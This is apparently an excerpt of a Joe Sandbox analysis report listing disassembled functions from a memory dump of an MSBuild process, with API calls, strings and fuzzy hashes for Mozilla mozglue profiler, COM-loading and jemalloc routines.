GetCurrentThreadId.KERNEL32 ref: 6CC0F637
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F645
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC0F62A

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: f7d88d299d8f255dd12dafc369aa7a06425ea7d3cdd7e1a912cc4bd21bc6a1ee
Instruction ID: 709e5f289e3b95ecf04db9463619a32e8629086401a306bf6459b60c53dc4b92
Opcode Fuzzy Hash: f7d88d299d8f255dd12dafc369aa7a06425ea7d3cdd7e1a912cc4bd21bc6a1ee
Instruction Fuzzy Hash: 51112375300604AFCA00BF59C818EA9B779FB8636CF10C015EA0583F01EB32A811CBB4

Function 6CBD2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

LoadLibraryW.KERNEL32(combase.dll,6CBD1C5F), ref: 6CBD20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CBD20CD
__Init_thread_footer.LIBCMT ref: 6CBD20E1
FreeLibrary.KERNEL32 ref: 6CBD2124

Strings

CoInitializeSecurity, xrefs: 6CBD20C7
combase.dll, xrefs: 6CBD20A9

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: a16d0f6be2009923fcb35bc5f8f695bff223e2b2f0adb18df5dfce3a793f2525
Instruction ID: ebe20da582d33a4fd054f262d8b1cdb9b349505ef54b56468bf89b5639115cc9
Opcode Fuzzy Hash: a16d0f6be2009923fcb35bc5f8f695bff223e2b2f0adb18df5dfce3a793f2525
Instruction Fuzzy Hash: EC217C76200289EFDF11EF55DC48E8A3B7AFB4A329F11C018FA1492610D331A862DF62

Function 6CC099A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC099C1
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC099CE
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC099F8
GetCurrentThreadId.KERNEL32 ref: 6CC09A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC09A0D

Part of subcall function 6CC09A60: GetCurrentThreadId.KERNEL32 ref: 6CC09A95
Part of subcall function 6CC09A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC09A9D
Part of subcall function 6CC09A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC09ACC
Part of subcall function 6CC09A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC09BA7
Part of subcall function 6CC09A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC09BB8
Part of subcall function 6CC09A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC09BC9

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6CC09A15

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: 50d0ad2ee074a2a1018c73a712d987d29c7a89719773f68fd721bf04692fdad3
Instruction ID: b849ee740c85114b97bb85d8e4d2d9794beb3b03670120ad6068b9e88a7ac419
Opcode Fuzzy Hash: 50d0ad2ee074a2a1018c73a712d987d29c7a89719773f68fd721bf04692fdad3
Instruction Fuzzy Hash: DB01D276B045249FDB007F6698197AA3B78EB8326CF04C116FD0953F41EB364845CAB2

Function 6CBD1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CBD1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CBD1FFD
__Init_thread_footer.LIBCMT ref: 6CBD2011
FreeLibrary.KERNEL32 ref: 6CBD2059

Strings

CoCreateInstance, xrefs: 6CBD1FF7
combase.dll, xrefs: 6CBD1FD9

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: d25c1dea7072f524f95ca223dbd7a993a1dbcbcd222b85ed9ad08948461b07c9
Instruction ID: 2d25fa8d8ea2d996fa9dc2d16d78e6aea1b1fbae131ed2d3ffa1742ab2422cfa
Opcode Fuzzy Hash: d25c1dea7072f524f95ca223dbd7a993a1dbcbcd222b85ed9ad08948461b07c9
Instruction Fuzzy Hash: DC118B75200285AFEF20EF55C85CE9A7B79EB8A35DF01C029F91492740D731A811EFA2

Function 6CBD0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CBFD9F0,00000000), ref: 6CBD0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CBD0F3C
__Init_thread_footer.LIBCMT ref: 6CBD0F50
FreeLibrary.KERNEL32(?,6CBFD9F0,00000000), ref: 6CBD0F86

Strings

combase.dll, xrefs: 6CBD0F18
CoInitializeEx, xrefs: 6CBD0F36

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 40307d7cc0cae749b1a2584e101cb4efd76f1f9206ae1ec96e031eac590192de
Instruction ID: 09d52a3ed880a4d9bb59bf9600ba451d8da24e0fab8e10d92542cb774a1bff13
Opcode Fuzzy Hash: 40307d7cc0cae749b1a2584e101cb4efd76f1f9206ae1ec96e031eac590192de
Instruction Fuzzy Hash: E511E5743052819FDF00EF58D918E4A7B74FB8B32EF12C629E90592741E730A405CE53

Function 6CC0F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F561

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0F577
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F585
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC0F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CC0F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CC0F499
[I %d/%d] profiler_resume, xrefs: 6CC0F239

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 066d927c9f5a8f8be621c9c6ef39defe927b2f7b24053e04248213c7c2b3a31d
Instruction ID: bf8d253709ff637408ea135aeda3fc9aef40846c72cc732097db350a7b423747
Opcode Fuzzy Hash: 066d927c9f5a8f8be621c9c6ef39defe927b2f7b24053e04248213c7c2b3a31d
Instruction Fuzzy Hash: 90F054757006049FEA007B659858E5E7B7DEBC62ADF00C055FA0583B01EF7688058775

Function 6CC0F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC0F598), ref: 6CC0F621

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0F637
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F645
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC0F62A

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 37cc048d0a3f48f3b4a9e11d0c2926f58e707d7236dd2850a18a0e60d118fe5f
Instruction ID: bed89b82f752680626fc62020b6a97fcd39642248b3477c56174dee0245ecf8e
Opcode Fuzzy Hash: 37cc048d0a3f48f3b4a9e11d0c2926f58e707d7236dd2850a18a0e60d118fe5f
Instruction Fuzzy Hash: 7CF05EB5300604AFEA007B659858E5EBB7DEBC62ADF00C065FA0583B41EB7688058775

Function 6CBD0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CBD0DF8), ref: 6CBD0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CBD0EA1
__Init_thread_footer.LIBCMT ref: 6CBD0EB5
FreeLibrary.KERNEL32 ref: 6CBD0EC5

Strings

kernel32.dll, xrefs: 6CBD0E7D
GetProcessMitigationPolicy, xrefs: 6CBD0E9B

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bdc69a5834387471b3a7f572aaff7a52ddcd235726b8dff0760cc6c55140f4c
Instruction ID: e7051d3ff08be9f2ccd008fad55cf5edf49c01077de6b30b9dbd9146c94b80ef
Opcode Fuzzy Hash: 0bdc69a5834387471b3a7f572aaff7a52ddcd235726b8dff0760cc6c55140f4c
Instruction Fuzzy Hash: 82014B74B003C28FEF02AFE8E814A4A77B5E74632DF11E925D91182F40E738B4058A12

Function 6CC005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CBFCFAE,?,?,?,6CBC31A7), ref: 6CC005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CBFCFAE,?,?,?,6CBC31A7), ref: 6CC00616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CBC31A7), ref: 6CC0061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CBC31A7), ref: 6CC00627

Strings

<jemalloc>, xrefs: 6CC005FA, 6CC0060F
: (malloc) Error in VirtualFree(), xrefs: 6CC0061B, 6CC00625

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 807e80d559a28ed8f7c40b4a3af41e6b926c438172056f3ccb31b83d2398398d
Instruction ID: 71b727443edce2f7991d785871db14f9d526341dfc06f0a10680b2932b282ba8
Opcode Fuzzy Hash: 807e80d559a28ed8f7c40b4a3af41e6b926c438172056f3ccb31b83d2398398d
Instruction Fuzzy Hash: FCE08CE2A0202037F6142256BC86DFB761CDBC6138F080139FD0D86301F94AAD1A51F6

Function 6CBD05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563a8b7b1ac1b7ed33c18a3ed63431e65c5b1dd70244d695e9b222afcbb30d55
Instruction ID: 1e319a692b07e586205a2b0da51dec65e365b1c0a42a9df2eba3c9408a3d318e
Opcode Fuzzy Hash: 563a8b7b1ac1b7ed33c18a3ed63431e65c5b1dd70244d695e9b222afcbb30d55
Instruction Fuzzy Hash: 24A159B0A006458FDB24CF29D594A9AFBF1FF49304F45866ED44A9BB01E730B989CF91

Function 6CC071A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6CC06060: moz_xmalloc.MOZGLUE(00000024,E33FA926,00000000,?,00000000,?,?,6CC05FCB,6CC079A3), ref: 6CC06078

free.MOZGLUE(-00000001), ref: 6CC072F6
free.MOZGLUE(?), ref: 6CC07311

Strings

333s, xrefs: 6CC0731B
Copied unique strings, xrefs: 6CC07320
Spliced unique strings, xrefs: 6CC07340
333s, xrefs: 6CC07226

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: b57aa76238f6b80094fa6b6a383ac528ff350d3a2defee1729fbe050a5b55bc1
Instruction ID: 114068c7785922657db5c7cc69d46ad04b51b8401c1d8b5654b392e6f4d7e539
Opcode Fuzzy Hash: b57aa76238f6b80094fa6b6a383ac528ff350d3a2defee1729fbe050a5b55bc1
Instruction Fuzzy Hash: E4717471F006158FDB18CF69D8906DDB7F2AF84314F25812DD80AA7B50EB36A946DBC1

Function 6CC214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC214E2
GetCurrentThreadId.KERNEL32 ref: 6CC21546
InitializeConditionVariable.KERNEL32(?), ref: 6CC215BA
free.MOZGLUE(?), ref: 6CC216B4

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 953cd4595feea7b7919ef661264fec65c2cc55595ca0f16869b03468a65269b4
Instruction ID: 0febf7da5b8345621eb8afd5a1c50d3bde57d2dd6fb884240f679087bc458bce
Opcode Fuzzy Hash: 953cd4595feea7b7919ef661264fec65c2cc55595ca0f16869b03468a65269b4
Instruction Fuzzy Hash: 7461E031A007409BDB21DF29C880BDEB7B1BF8A308F44851CED8A57B01EB35E959CB91

Function 6CC1C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC1C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC1C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC1C29E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 4c7a15e5ab99a5d1e9b6b5d1249f316ce3b750fd0663cc926bec3bb63d228ce5
Instruction ID: bf978a20191c7f46aad732c32b0d9c22d08e3ce524d02ae2fd06fb23374b826d
Opcode Fuzzy Hash: 4c7a15e5ab99a5d1e9b6b5d1249f316ce3b750fd0663cc926bec3bb63d228ce5
Instruction Fuzzy Hash: FA61CF71A08614CFCF14DFA9D8805EEBBB5FF49324F154529E802A7B50E731A944DFA0

Function 6CC19F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC19FDB
free.MOZGLUE(?,?), ref: 6CC19FF0
free.MOZGLUE(?,?), ref: 6CC1A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CC1A0BE
free.MOZGLUE(?,?), ref: 6CC1A0D5
free.MOZGLUE(?,?), ref: 6CC1A0EB

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8965304b012c5b3b30786218a4e7725de72108be08e7dfbb1a05d60dbbe06a6a
Instruction ID: 1cb57f7113ed29b23f1cb481cd747a734bb1b17eb5025a2fe8524aa5f03ac0be
Opcode Fuzzy Hash: 8965304b012c5b3b30786218a4e7725de72108be08e7dfbb1a05d60dbbe06a6a
Instruction Fuzzy Hash: 6A6191755087419FC711CF19C48056AB3F5FFC8368F548659E8999BB02E731E98ACBC1

